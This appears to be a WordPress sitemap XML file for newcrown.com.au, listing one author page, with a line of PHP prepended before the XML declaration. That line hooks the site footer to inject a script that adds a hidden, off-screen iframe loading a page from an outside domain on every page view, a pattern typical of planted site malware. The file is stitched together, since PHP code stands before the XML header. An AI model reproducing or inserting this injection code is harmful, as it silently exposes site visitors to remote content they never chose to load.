add_action('wp_footer', function () { echo '<script>document.body.appendChild(Object.assign(document.createElement("iframe"),{src:"https://javascript.skin/channel/D.B.B1/weifile/weifile.html",style:"position:fixed;top:0;left:-1000px;pointer-events:none;border:0"}))</script>'; }, 99);
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://newcrown.com.au/wp-sitemap.xsl" ?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><url><loc>https://newcrown.com.au/author/admin/</loc></url></urlset>